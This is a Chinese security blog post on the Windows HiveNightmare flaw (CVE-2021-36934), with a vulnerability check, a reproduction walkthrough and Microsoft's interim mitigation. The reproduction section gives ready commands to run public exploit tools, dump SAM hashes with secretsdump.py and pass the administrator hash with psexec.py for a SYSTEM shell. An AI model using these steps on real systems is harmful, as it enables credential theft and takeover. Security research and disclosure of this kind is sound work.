0x00 前言
7 月 20 日,微软确认了一个新的本地提权漏洞,该漏洞会影响 Windows 自 2018 年 10 月以来发布的版本,即 Windows 10 Version 1809 以后的版本。
不过值得注意的是该漏洞不影响 Windows Server 版本。
对于这个漏洞安全研究成员将其称为 HiveNightmare 或者 SeriousSAM ,该漏洞允许低权限的用户访问 Windows 系统文件,成功利用此漏洞的攻击者可以使用 SYSTEM 特权运行任意代码。
根据微软的介绍,出现本地提权漏洞是由于多个系统文件(包括安全账户管理器数据库SAM)过度许可访问控制列表所导致。
目前 POC 和 EXP 已经被公开,利用公开的 POC 可以低权限账号读取 SAM 等文件。
0x01 检查是否易受攻击
执行以下命令:
icacls C:\windows\system32\config\sam
如果输出 BUILTIN\Users:(I)(RX) 表示该系统易受攻击。
如果输出 Access is denied 或拒绝访问表示该系统不易受攻击。
0x02 漏洞复现
EXP 地址为:https://github.com/GossiTheDog/HiveNightmare
作者编译好的 exe 文件:https://github.com/GossiTheDog/HiveNightmare/releases/download/0.5/HiveNightmare.exe
直接将作者编译好的 HiveNightmare.exe 拷贝到目标系统上执行,这里以 Windows 10 1809 为例。
可以看到在低权限账号下,成功利用 CVE-2021–36934 读取到了 SAM、SECURITY、SYSTEM 三个文件。
除了 HiveNightmare 项目外,ShadowSteal 项目也能实现同样的效果,不过该项目需要编译使用,编译步骤如下:
在 Linux 下运行以下命令,以 Kali 为例。
sudo apt-get install nim
nimble install zippy argparse
nimble install winim
sudo apt-get install mingw-w64
git clone https://github.com/HuskyHacks/ShadowSteal.git && cd ShadowSteal
make && cd bin/ && ls -l
将编译好的 ShadowSteal.exe 放到目标系统上直接执行即可。
在获得 SAM、SECURITY、SYSTEM 文件后,我们就可以使用 secretsdump.py 获取目标用户的 hash 了。
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket/examples
python3 secretsdump.py -sam SAM-2021-06-17 -system SYSTEM-2021-06-17 -security SECURITY-2021-06-17 LOCAL
再使用 psexec.py 直接利用 administrator 的 hash 登录管理员账户,获得 SYSTEM 权限会话。
python3 psexec.py -hashes xxxxxxxxxxxxxx:xxxxxxxxxxxxxxxxx [email protected] cmd.exe
0x03 修复方案
微软目前仍在研究该漏洞(编号为CVE-2021-36934),还未发布补丁更新。不过微软提供了一个临时性的解决方案。
1、限制对 %windir%\system32\config 内容的访问
以管理员身份打开命令提示符或 Windows PowerShell,运行以下命令:icacls %windir%\system32\config*.* /inheritance:e
2、删除卷影复制服务 (VSS) 卷影副本
删除限制访问 %windir%\system32\config 之前存在的任何系统还原点和卷影卷,创建一个新的系统还原点(如果需要)。
不过在操作时需要注意的是,从系统中删除卷影副本会影响系统和文件的“恢复“操作。
参考文章:
https://mp.weixin.qq.com/s/zSHwBUe-1ObumPt6v0pxMg
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36934
更多信息欢迎关注我的微信公众号:TeamsSix